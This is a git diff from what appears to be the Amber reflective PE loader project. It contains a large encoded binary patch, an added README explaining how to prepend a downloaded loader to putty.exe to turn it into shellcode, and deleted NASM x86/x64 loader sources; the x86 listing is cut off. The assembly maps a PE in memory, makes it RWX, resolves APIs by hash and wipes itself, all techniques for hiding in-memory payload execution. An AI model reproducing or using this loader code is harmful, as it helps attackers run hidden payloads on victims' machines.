ziz7J+Vkb)pz`~{m(2ae-F1I0_VXE1&x}aAXW=m+T>V$t@U1U2|-Ww;AN`~9H7ENM6 z;jpgNDsTYOdFszQ(W{iN<+zEkJ?E~%)VR-Zhnv|60bUXj~q z-UFORP2`+@CyW{iF{q8oW*tQ06f7@fMc8jB>>#r&ZF~lEph?Z3bpMTnZGPpWUMIXY z4=d~EO0QWCELP03BhU>m6AAGk5=qNXliRn)yPHEgDo7a0l3-qL^~QcN#-H^MN&OE_ zcA-Xd__PkK(ZoS)SKGrzVT;p5tf@h0%S04>#N7Z9XuMp{h!0Oo>G0a2cwI!j-iV5L z{AtfjFmtn~?3i-s5Rz*?mV&((#q@dwQyGQxTBR_qJP{`LcrmD^td z%>ls4yCNAy7&@@bkAt7!Kvb&VUi@~?L9?22UhJl4X}kd=q>^kPQn3;aTtFtu{10yFBdozSb1tRZM5w>62qK(dMgkG!`qAG3~Mv}D0Y zR7i}{28FBK5f*CvtGII3XZDdKA*s^oLF|2R(>}*L&{fQF$&dW@-}ud>+DB1E?7l5L zxvQ`oE7iR0nEaFIU%hw;D_kwXG@7FrdlANt<0-89)@e60H?T4Sc=<0|yF8E42Nc{b zay9j`AvS5spCF01fP&nAP#{Qf@O^yupCFtc&!TX=9*mk!oQ++c5=B$^dsRn9b}dYc zI);uq2mbp51r?rP0!{J3zoqJo5qHwl`QAnXucLu<+l)$fRgzzHN71v{54Ff&Aw=TC zmrFWHP|P2?)gl@**F@N6bHoOtwCV3G!=pWA+qYFwmrP`x-+ZJ(33QrP4jtRb6J=6} z{CtN+13Y#3myeawlsQcbW@nVJ6H0x(7*VTU(wEbhYiF(9$yR4h(m?b@lTptyQrnx% zYdoT8dXSDTQZSu(hWhW~n;91Am>@Cm$c^C!oH^nVqvj~z;E@zQoh za=i1AOO#}pm-3MD75(l)wmXXk_iIuZpMJ}L!R$~_CTn4R(4>%+$@VNpvdN-i_6MKE z4(@tT)&dEwNr*q|l8JwF)Fc|3KjUlR^v`ko_^Di-9G%je0MvhA2udq)d*%6PMN8v^ zuQg_)KppWT^~hn&2VPG*;&SW=UAjs~sFhcvq=u@w!Dhfa0?*701*gRlrNgRX)^+9&&MJF*4J3I*A^0IaRLvvgvO({|R;M5F_Aml+ zKSJ);BQhoj7UVg~F|;S_(pH@vhA4tbsXN>?DL&VTlH)Dum|BA2~%YlV5_rUwD4Gsxe6?JWa|qZR$>uxn=2 zw)B|lB;c}(@YHoIBMYtC_XJGzd3Fl1^V-tXpn>exic^CD;lybGrpsCFE6J&ulDJ@Q zyUci+Z1!DDGgYt`iYN0Xzuc3mjva}MBVR#6b9>5t6GGdaeIQzos*x<9d8-KWSVh#;F(s{{8?Plz5H4BL0{(}9G_zi^66 z14BY6ueC)BHl+P}u)iBc71GD(H=(Dm9N`I?{HqftG5W*P6h~Ch#1EM-(tb&ZC8`M| zlftCOI4rK2@f@%yJp=GBdv}atb}hV6cJ}&HuWq()jTVIPyw=)=zh{u0G+rpVZYm$X zO6@$P#WM?_IH(Ioife6yb+0r14}v?5?ka3ciMsa*dc_=yY181X`&97Wwv$gL7$DBO zsvsos&(Q0{pXKbCxdHCLUiN~(cMsKz-;J6>Q?1pBnm*~Kilk?_LLxo@l}-cbcy1&y zj%C_xetdRd_PM8XTy+TaER3prt+38N%y_db0UN=Q;4r99>-)a;`oo)uOUcgba`~db zlC7UbR`BNTRDY((O4e7H4&67?>OJ*f2!Y(gzwl8cgsg#A1LGMqZ8le@u+C`+Jbzj* zvrc*Cb$nrY)+R%Loc#&sPgUt~MgrM1S|ZLh4>L$=9Yh|zX3c9)GgA2qq_Fedks#$$+2m%(`(WV%;_oS^*h>vk_s&S zAJ)RI7|d%ZM#5)LP)6~n*h2Y|mv?qq($QD54r!K4=-;%7E>HVX!!$YYaX9YQ@TmAk zKC4k&Pl3J6hPSFQGU!{2$oteYQeEi+RZWgMy#ena_`vK_A&d>nSSBC zbpW+Q@7{b$i8%Z~3I!_IsnOy8HG^e%2C5h+`3rsG3dzE8%c|N^F*f#h!#B@%%7wB4 zp?a)Vfh=E}N|c%T%5-uXI5KFG(x1%@x0~$*>UA^s(j%u8xI{>n zG0MNAgk=cx9f-!Rba~V&lDfBTFKDQSYmqUQQi+bo@At*v`Sm@|g3YwO zdjV{qlrqGJa3Y#CS6-y&K6&ss`#6)L?VVimK}HL!zn>tptgI<5^jOBWypTEGO@(Zs z?R90Oh3FB}9$+417r!3CiE_8t7?(br^sqjHAdB}_n^^y12+5$oZp6*2YbQPb zY9qwj2isw{zM5K?2{TwK*X@}y7aIH47rvYPI9n0yXsC0VM^F#CB(_!k2jy&ZbN57 zCFK3t7cJVC!fGdzx!!xF!X3Cfb#K3xNmzbf7-1PowERs>HxCc5w8*8js10^LL^txZ zfr4k@FZhKw6s<*qo79R7!8sDujFRHR$WY_G1u4n8iQ7zd9cO&(w{chqp+6{-F%RMiV*P_fJb1jbd zc@XF;Nnhpwt#-WMz0S%@*Efg>jt)`Q3P#>1>ps9ek?Sl>-b!o ziI@qfK&@QJ;jBw0++oGh?S^v)R4!^?s2ln361g4wVV5L6)5Xyhistvm1(clh&bTMp3hVo zt$Sk-R?~(y&|In}Aov?2`4|5>#wvZ^h)2KSI+I}wwWA4rh&5@58`_B@!;v0N^0&b$ z2W?s^xoQtnz22Lb{={GYqJLba0JJ*$Dfu+w~fl&p{94M-Kdg zCBPS)Z+uXAtsmAOO9=uWej{Vp(m1UJa*uiD@eQ1!8hGp?;v9&myXtvrU3)3ZORr^%&%MF|<# zGzm@bSPCYyU5|#*00k5wk!xEacv=}`F~TG!pr85)!3*K!nkYT^y*Wki5>%yAqZyX) zCl@RtZ$&)%EaSq}v<4Pmx)QS_o>98IxeN+I=u6qx;&&ro7`nNTk6o|meXu;;xnqCc zTjHB=uvwIQy-))jGp&pnpKiEcADjE+oRV3)`0|sR2SOc%_}=^W$Cb&dph!?JSsaO*+%Gv({yp2&=%?;e&~QP|KupYnZxRM|1;3P zG3ViMXJ2Bc3R>jFoOkU$cwz24JiwkkS-G`$%x}R@=-`6hSojiklEi3cid)l47f?zi z4WLVcke8cWUY=by9W^?n`R|Es8}deGOnPj<(iL*eB6-u$%u{h%jR;I#f?c9` zD8ZWE=1Q6z0YDY48J`WRQ&s;Gk|WbS-{3t*v~dH=9uC{#Th3oni8 zz8fp0lu0r6TajJB4xq+UU@*PcGv8s9jPvaee_?wpr7mivL7)g8EMFQ;s)tG_{j;Mr z|1=Znn*ed=dfeVcLYaR8R^`Qpy_hiSjX;9tP0H0PqOKz%$?s5`wU~@)pr|Ao^BnZR z)knTM1o?`HC*Ey&<(>(I{PUXf;>8$aIt|U?$kOPpOs%;4R91-gMjx*z6ea$z(p+IM zZ!IN$b=>INkes0Zo;T1XTw%3LHYEQOWAoZJ!h#*+>$->0hU%z z(2m2izU1%(hD6}{z8&dRJ;kTqx_hGQvMa%h~m=7-%l zO;GxLQM2*#;FkDkgAI%|kNHB^N~>j5(4)Y1Bu9u<=EF3A>-bJJQs$mT{6-pM`GMd^ zL{U*PnQ{oAqmI(Vt%rg|=1)0xGI(klAK2SmQFE_Cg*ZPnYY7_a!B)M!^l&&paWOgC6;k%{6_#Z7<(*Uk}%?E57_VwgS zRNqv^9T(Dd3k>#;73?6d+94S0UU7RVeUjlbT1Q|=^3~Hz?2yv}u!k&qYfkC4cUdRu zMs!O=2kCS8loVm?dZPsSsuuu5Yl$S6Lf5hDj(=#yK@P$)bmI6r{4(oJxyUHBZST~6!|cBf%<7vmxt7v-Nj@Vr zwiU&e)PyE{QDac};~En% zp+Zy@U1wBglvTC4vcpptl3LYz2^CBU ziCc=1LkOZ@y6{CQntMr59Ujr@&aH($`4Z3eieWB=`jj0cz9({Rv7b2ou`qJo=1NeL zwM@8O)Q!>2&ZG3Woj=nYireY)1SFSy{yky!N9DRwF<}$tNs7=PE|%4&>(?JFTeIXV zCMV0`<}jtjDh$nzBYOSCeD$OqClsm20m#wMJCIphNq_PyTN~sl&jmZ{N7nQ!{HYE8 zB~^7%4I_Pzs4p3hq9znAoSpLI6PXD8wThClV=)OQ@dmSX%f#;dHs8-XIcoW=seeJ> zbm{K0eP11BB~kVBwRD!6IsJ6?eh;`9%Y4%YF>-17OT=xV-K7viS@a5aLzQYB#?GBG ztLfjc#gRjMCgQyVBUl+WrM?E=p-AjfGtX7bjeLqP65CFHs-$4`i>|YXau}9-FCUi7 zKZe_-wi06|O5qhGB|Hlzbaxk`>%}*>KWNP;5!3@OwjW^5h93?@u1gr=JW4f50Ha| zfsy#wy)2)_`N2FqE8`|oiQ1)egUy8(gIApPvy6Ay)@S7n$p@NR&_A=G=}-Xq+Da*)GmUn0cSyHf&LB#^I4xfC& z^@{ju799ydnJ>aEIglPXYb~CPMd#t9&~f!)D;++9>2((U%y*wGO?2nGTz^)QpW5>` zmhyhSyZT{rU0YFyspTURkUsh_hRMCGR^`vHLD|O;!C}NjYnI+|^ z(aRodN_R@%pu=$;%ASq}$r_9gJ^uFlIyE9D+q$d9Ef*rv&>%dEI|)Ra2d$;Z0`#vm z^+lxfMjS~qNR<2W6qhe(s-H5j5mzJBkGLU5thm54XQ$|n^5iFWzQL3qSO^zp4*G1&c2VU=+g7RhhFPAlg&9+$Hi}d z%@HjObRgB;O(Dufu=@bL2@Ywjm6Ezq3lHBH(~{`JVq@%EXnla9Y}#70=M+ZNm$t2HSxu7VTowQpA7u8_v$VFA=(DYX4et7uW~ zA`YcIcN#l*&Qz`$Q#SitU7fj|@Iv9rLJchUvg3EfA||ehNOK7@UO_H%!_8?iZ9I=8 zceN{6>PXCpZ*N$2WtCS1$C2k9>G*wqCwrhFFcg{P5=;KYRxw3z8SxuON;Zen(kx63 zYVMUNI}R+X-k37^jMn_Eaed&QgM2 zK;`r&ax1}v{edSKS4IAun+}fve9L?I9LegN2Pi{g!D>_dXx~^FC#G^Po_dt$rj%{3 zKW0FWH^zWvFEP(>2#QqT30~D-HOKGI#5udmBN}#Z+1CZd@OY$=%Y3`TvjV{cnjND^ zYGj`5~G!-;zdU<6Oq#!j3ABGGr8AsCs4RwN7M@lj%EqyV%c`PD_s2mE9My-72ON z{l6FaWt|J^65<3O7~O7@vZ01+eCu);db*@W&{^=@9xwOXcWm$qpS;V9PUN;UQh;kr z8D|a>(^Z$_)>)zU`WeVX{l=DTs5?&-%|%a5YqB>Xu><_R;9=JU{-Bc*6{!YNd{OD- zA^Xe)QH41ByBjngQ__CxjPP+HnVntVxKUYF(I})8yNM}B!h*C4$S)~aH|<2HNX{tR z|0M;G1xfM#>2&N-%pKbH5f;=FiL)1f_zl3FGd&9(>jpCWxaO2F=| z*Twi=<^9f^^eafZaS*7-u7IRE1^Tj?ra=>w9{w&)Z>M9Q)tIv>D9I(u-%t)Y2aaZ4 z*4Ud3N@1Zbh}89hYip*d?{Wgj{29JFi_!%#I$=r_rg3Y6deelGCMg_$+T_9HGn+EP zavkAVNjgnP_Q&%3qdxmHY;3fAPI4&*)#$l^?4E<9iOe{tMkmR2pW4}nV7?JxXJ?Ws z2bElV8P_6T-v_$(I*hi|h{DmqH@x6xS5vTQYm8h+R{v#1dPxKJanmPk&A<2vyLPOp zHRZwExlx4w3*?I79$gNS^?0*PLffg~C!B{xpa?lB#6)v=`=DH;wD3t8nL&yGw+=-9 zqhFij@)n{;Q{U#5GBO3D#60@IQvJE)i`WF+W6f_x-SR*f7(0ir#8O$-6JUk zC%9X%LR-8*aSax{NQUNOkTMMKr`gQ0#jJ{JA3)g` zbIY!70`YE<7a^epF_SNVU(iRY8{;XpGQE!j$F>XGSc1#V*fCMG$fi-+Z@ob6(=n^~ ziG$tMojlmsWYGp$mi2YMJKNvu*ACZ5l+HRZ|4aVu_y0ndzdv(|HwcZz6Q-ZvHJ`DQ zb%@{f_hpzs^yuvdgdhB%i+`0pnUrMD=Jqu0_Mt3{L|8S zi27xS5CwPv;*a1)$F9AE|7re%Rot5bvjPlSa@c0Y^QjB@zMS_FK zEM$oSZ6x!H#Zg;Eo`Og%!~QC_2$srlmao5gqiPM(157mLZ53r9eoP;lZwp8y=vzfW zlf=F1f4v%qpk0sp=@o|S-^}WItEt{DBvliGAxRbeh!Ixo2#%&`q*&TpN&|CD*DYp5hPvktr&-}wFDv& z_X(}YqTC}dR881R5@?DpFcvNJ&srD^gpz*&eVEhNruBZQzGxJd#TuPuj_r5h+G@R` z4N)N1Fwj+7 zU$n0W*nRKcGCJjm^uH6~^!R*``U$Y>g&KV_O)IgZ`XHCan7eE6KsL9|-hjm+t++o} z22l-+o6!wPaOWz5R2I)Z2?MFilMNKbZXlFAc2S&-pdx2i& z0Q`U|!tKBw((0SiKHJpl=J@YGMQ}yN{Gj89??#5CCHbG3I+w}wg*bv&nEr9RYjGSX zj;@?{obkZ~f>1H>kgc(AL~>;CBvkAbzfjIyjnq9iQe@%r%Cy_%5QX5{Z%8NoC(2@| zJ)z|ej5tf&Wrz~vi!flLOgl$L&1IXX659@j%7!#`#GZjcBmuKHbmOeC3-w@mTZt&+26*%Eje%h< zc#X_`6Y3vX`<*eED8x7J=zK(fZSjU5L3@ZBcIIgFOm~DPtY9s3eU~5-kHf{xt?auk zX!#H;-%wzAhS0x_Dhmq<2VTIaGx(n=JMEzA@@uhLvLjD+1vz}`oM_k$XK^Y+uo-DH z3E%54+1sVGC*zF``Yiraht1nq9eD{VKWj|+wlq1ouCo(4f=RCV#i>^bIT&x5P#~RX zrIp`5_7a3Gm^&9ndJUqBP@1gSkwJtD4;Lc4iwC^x_mH=}liD%q71b!zH|_`}Zrq+$ zz-J+2Nr`vF<_eM$)7iwQTT_WneW@C2Ibr;rmK2U|t7k6CwxmDTLc+TZYM0eKVIN9RpNG;+ zL}{Ow)Zb6uGX(RPH>>Zg8wTO)Q*jo?7&AqFe2o|Q&-s+_-Yjc??J+F~PY&Pj@agU` z`Irr{ovT>KY{DxS*`FeX_b5vCkGRf00`CXd?8rZ9;K zSaYc2SB9JU+nylk!94^US)CJBx7TPHWtY;|61#4{7M`^iQD}}$1&R8m$cyvzLm17M zSegaGxKKddSAYjLh`ycs*}f8Wu7cROguuv1KYtm@77ta1kFtYEESBk&jRF-!`c7Lv z_92tNx|w7zy^A1fFXo8(+kmL;Xu*UTzmh=op*$-7|pdlvMzQt!o3{i#0?G)aEN}==%Vc(n-(lQ@-;39 zR?TojPi4s3Vn*tTF>Yq6X{vwaE|K}ft3$4kmR3B~&kq}$9vRn-wU{Gyt`xvcv-@8D zd+@@Y7^aGy9--$*yc(y5@QDHBASC>8D}=Q&aTD8?NG)x7Fz>3tAiGD9?tlYDD8ZgD#)ond3%S!CP{FHa*q$+U)V zfhAz)RDeU=Bqb)17EG1(#-$z!wkOK=`jmHe0Xm2JAedn(nJe6`$0D`AlC9emXr15WxC|4kvosceY1pzQtkmrO8d<6f=c zUW#+=HMrzX`orF@d{lPMp3ueH;@i;AlWFh9)`?RjW;&6`(E+4AnDDdAt4j@t$2jrI0g;h^gho zOwvNfHEEmD&dK`ct=)^Z`|?1}<{)Jsl#$|k#fvjKg{i^zqw44 z*0X_Qqw+MAqU}!-pwWbg+!gzRZf@ewM<(gyUkDM%&W5DtkNh~!fEUsn&n}qZBwIl0 z>pQCAaC>>8p@k&v#F;)s2`pnAI4cUaSYlh#+@P1nS#JYhH0&Mt9SEJrtuw_uxF5m~ zr?&Kk*?m%|5~#qH^?vTU?g{tHTSZ8*Yi+Up&;WtoN18~l@5Obb?F>(OTq-aoCH0wP zRrH$cbLi*y=lcqkPZjZ_C%h2ZNgn4e=eF;$Q9Oo>9lJyt?k+`VXrIh4W*$ompQ&f>96czWB#aC!dlG<5H~!upy!`p^9w2>cUku?^87`e zZA8~jH}7IpN>DRiw#UGk1{RT%VVojAHH)ytC`Scc)^%w31odc*(8I$0eiHmj3#x&2 zEq`6Q>wldxyy7E^SKFRL6#OeV09iJ>@Wr(xHl&qRUq=>~PPC2ougbMW!H7&l`&A*c z;@M_iE9qEgQ@refGhN_?z>}k#+soH#OlW6O=Be;wb6=%fYj-2To0(@^036Brvb>e@ zJCGE)fg7Swi(6`5~8^HEH>Eh^O|antNDN_FJQMg}U$weif}2Kgk8JdK6# z@pUL>pT+jjl#XW6lUyh9aiMn0@J!Ux z4s3usQEFexyG>B+Xpv2M{NzRcM#C2N1jjry1V(5 z<;tRM$x7}RZOR(4bBz!qvv{76dy-E&dMgz`D*N_|HGOviW;Myd_bIg@!vUBzJ}Khu?nGq3&j&LFKeI@==)^@C zGWmmhkr=m5#yIXRoA)Jv%?<5Y-;HG*=hX@UsDF-IYd?E7(Z0%`C;E;ygo1K)QVe9b zOh!!SFE?LoIAGj1M$umHffMf?B;D+Z&3s7@i%U#UzvD}Z1Ttc3d8~e1I1Up3&BGqo z>EC0HGMeTd%+ValFQayo@6TC_yq%(`k~rd-rpzz3Va~^QQ++M@fBsnKTk!kFsBf zu#gNLhKEmILAIksb3aJKO^DLk9rHT2m)ty=^I6xD+dm$BJG;|FwSLIYrhK8|zbDP> zqGhN4N%C)|J=tPm^mJB)g)y0oBB)5rJV65Qm^YvLIlQ?&!M}VL&E9Gqa~OJ)F4lwH ziiY5!7KF0L37WI3E6}&G#VUM9p_HdF>lZdf;(9WKe0(g>g z-KJ~Q9)WfQVX#HS1+$#ew!6E0qJ9A`HUEtN)GlqQU^-1Xm)3MZH+m)9%|8UUiiQE* z7;)UM>8Qr!&6Ljiv())YCM<=uM(&aZx_q^u^^I93?(SJ~~7z^mG#dp(R1$1YuRkA0xV z@!4==n5U=OuK`fuZ{GZG3K9z}*A|4@viRa+eR{0v@NfHY0z&Fa-*snMZ;l%b7Oobn z-eWK`6!FFcQ6=cz0~8P^oP36n9f|Nw`Vgg={F!0&$^Af{;ye(GrVHwD;Y`XwT_?8I zv?PW^C0ZgS7Dyo@Qlb?!{F1brgl(|K&Q5G456|jX|JUkB?YT!p3@T~6xx9U%6NKf# z7UNLXiiRrE@OSdCU zvDIPPDoLsO_A6jY`X*(Galsbz+xU5Zp8&7}i3>U}caYuI+?YN5nd0FpUrMX^$$Bs{ zZ$dGJ`*Y{y+2kD!zjifegcmQNjO(uddW#vm)ofD2IP#~dtsahSLF1$fb3o%6W0*x% zH){+_&0Sy+pD=C0>2Gt}JbZEM{y2l`I6`p&eDTVDH7y@_;`=o;gYaZh6*%IY$nc{V z{=RP@dZsa&!g_DZOvq;DfdlSe);BoqM!F2g2g^nRJZpjCwf%7~mxZLioyojXslLVw zD;(`_v716aUl#ov>Y_0=`KPqv_M%S=gHA=izJKI>cU=cT6>3!18bC<#_6$;ee6xqGL|2^Bd7QU11H5YR0<9+h*vQh3VU@Ppa z3_rx`t2BjahU(@#B7)BYkI~JEs$1%3{GGB}{x_<-WnfS!vAlL`)yS?4rr6;h;F2Of z_qZEPU4vGfzu2%w9FSNbnUa9r+19fqSui|YWm5c2%F_@8lsa}hqu-QH^$DMB`3AZD zoCG*6wccDG7hr_k=rJaRFM27l)x9B@SU1>xvCe6gCs2A^fg6Ss4Tw+{jfhNNj$6st zuAicY>U37ke@IaTq$^JsHET(XqGQrVLkSOx1~6mYq&f)xclMEf$@4SO_DeaI`QJUd zeq#z=a}Pl*-LfjTP)hAdIYG}o>blDwx~Dux9XG&1^Mm=;$^N&nhyTOLGBK zVc<7W-ca)h&wz??96C#Ln|$*|*}6KU!5+2AQrL^*3)Dho9!lTAEjsA_ZOKn3T}^lZ zcICJ20nQ*V8-2@C#;J-t^<;_h;}uRWH+9ujh@hPe-);#TFBhET4XdPY0*m zyf<Wp5=(}-8v(T3Qg}W!vnti!%)KDag(z`&P0?P{hUsb)TG7S~RRo;veN1SW> z7Z7YZI~`++Q)fZK?+POF3)Fe(UW|if72uajh;q`Le-3!2E&i+gCJ4GwNLgo|T_}NlWL$`C ztwhcgQiurLqDDT1zdz`@e=R*N#b`4txbf$36Ajl`aB2 zu!Tt@jdAa=RHifD8C3CPe3kUPe7cP?q^!XkwRLV5r9rk=*)6i$miw6PF5WzC{-H}4 z**rD-tqoI>u6M-e?Pl{WYT;pj=>+soB%CdxX;3qJIi#LDUld8ai2f$P_UFqL)Tt-# zv%CPu`3&xGS0fXHx~>DYOP?wk8zZc2RGn)Q9AGtX>aU_yWu?>oO!gBA=PSLgt5w0$ z_xav6H`W`HDN?5ls>eaZY|f*P*(vmNiiv7$CX}sXjD95|6p>#}L|$P{EXIX|==@k~ zu}WW#;kFYk)_QZOb5%00-bS3sDLs(==Zh~^+o~a5Z}FuE01^voGGZPz@Mh%sLz~F- zcedZ|(a><`C+RIAg7Lo>=URPZ;dx#ri{Aq}9slLy=>p2-k-&5xs0WtJK_5xQqJ5}I zyre((h+oK`BTT_LvY7R7j|A}#AI{zv`hYhX)1`xIl+FLZzw}SN$(<*vz=i~`dWqg&&n0Vn?1I4 z)F^7}RADb7 zpU(!(%VS(6FRg2wPLQ!!!Lu19lY z*aaT9kwL@sA+s*s_A!=1l`H%KlX0&^4crfQEo#(CAZZvjoNF!Y$oM4Nl;oXHs-l&( zq7^P>ei8wnPxb$9(f`%J??DiG3$CkgBEfLmdmVsjFx!*C<*={4XnA=J5ak diff --git a/loader/CRC32_API b/loader/CRC32_API deleted file mode 160000 index 4f35ec8..0000000 --- a/loader/CRC32_API +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 4f35ec8a865ca14d47551b688dcd9dcebfc7413c diff --git a/loader/IAT_API b/loader/IAT_API deleted file mode 160000 index 9bbf9fb..0000000 --- a/loader/IAT_API +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9bbf9fbb1c2ecdb032e45153c0b011381fdd3fc1 diff --git a/loader/README.md b/loader/README.md new file mode 100644 index 0000000..2ea6f42 --- /dev/null +++ b/loader/README.md @@ -0,0 +1,21 @@ +# Amber Loader v3.0 + +Amber Loader is a reflective PE loader designed for manually loading (mapping, relocating, resolving) & executing PE files from memory. It is written fully in assembly using the NASM syntax. The loader supports both 32 and 64 bit PE files with TLS callbacks and forwarded imports. + + +

+ +

+ +The lite version of the amber loader can be directly appended in front of a PE file for converting the file into a shellcode. + + +- [amber_loader-x86-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x86/amber_loader-x86-lite.bin) +- [amber_loader-x64-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin) + +### Example: Converting putty.exe into shellcode +```bash +wget https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin -O shellcode +cat putty.exe >> shellcode && xxd -i shellcode +``` +**(!! lite version do not wipe itself from the memory !!)** \ No newline at end of file diff --git a/loader/crc32_api b/loader/crc32_api new file mode 160000 index 0000000..14a7f8b --- /dev/null +++ b/loader/crc32_api @@ -0,0 +1 @@ +Subproject commit 14a7f8b5eba4193e133732155cf0c56a67957066 diff --git a/loader/fixed_loader_x64.asm b/loader/fixed_loader_x64.asm deleted file mode 100644 index 5dd6437..0000000 --- a/loader/fixed_loader_x64.asm +++ /dev/null @@ -1,117 +0,0 @@ -;#==============================================# -;# X64 Fixed Reflective Loader (No relocation) # -;# Author: Ege Balcı # -;# Version: 1.1 # -;#==============================================# - -[BITS 64] - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - pop rsi ; Get the address of image to rsi - call $+5 - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11 - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - push rax ; Allocate 8 bytes for lpflOldProtect - mov r9,rsp ; lpflOldProtect - mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE - mov rdx,qword [rsp+8] ; dwSize - mov rcx,rbx ; lpAddress - mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - xchg rsp,rbp ; Swap shadow stack - call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - xchg rsp,rbp ; Swap shadow stack - xor rax,rax ; Zero EAX - xor r14,r14 ; Zero R14 - xor r15,r15 ; Zero R15 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to RAX - jmp get_modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to RAX - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving stage is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get API address with hint - jmp insert_iat ; Insert the address of API to IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to RAX - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(RCX,RDX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rax ; ... - pop rcx ; Pop the image_size to RCX - push rbx ; Push the new base adress to stack - add [rsp],r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rbx],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rbx ; Increase image base index - loop memcpy ; Loop until zero - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x64_crc32_api.asm" - -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 - ret ; Return to AOE \ No newline at end of file diff --git a/loader/fixed_loader_x86.asm b/loader/fixed_loader_x86.asm deleted file mode 100644 index 3628d38..0000000 --- a/loader/fixed_loader_x86.asm +++ /dev/null @@ -1,128 +0,0 @@ -;#==================================================# -;# x86 Fixed Address Reflective Stub (no relocation)# -;# Author: Ege Balcı # -;# Version: 2.0 # -;#==================================================# - -[BITS 32] -[ORG 0] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: ; - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call $+5 ; Push the current EIP to stack - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push ebx ; Save image base to stack - push 0x00000000 ; Allocate a DWORD variable inside stack - push esp ; lpflOldProtect - push 0x40 ; PAGE_EXECUTE_READWRITE - push dword [esp+0x14] ; dwSize - push ebx ; lpAddress - push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - pop eax ; Fix the stack - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0x00 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0x00 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; 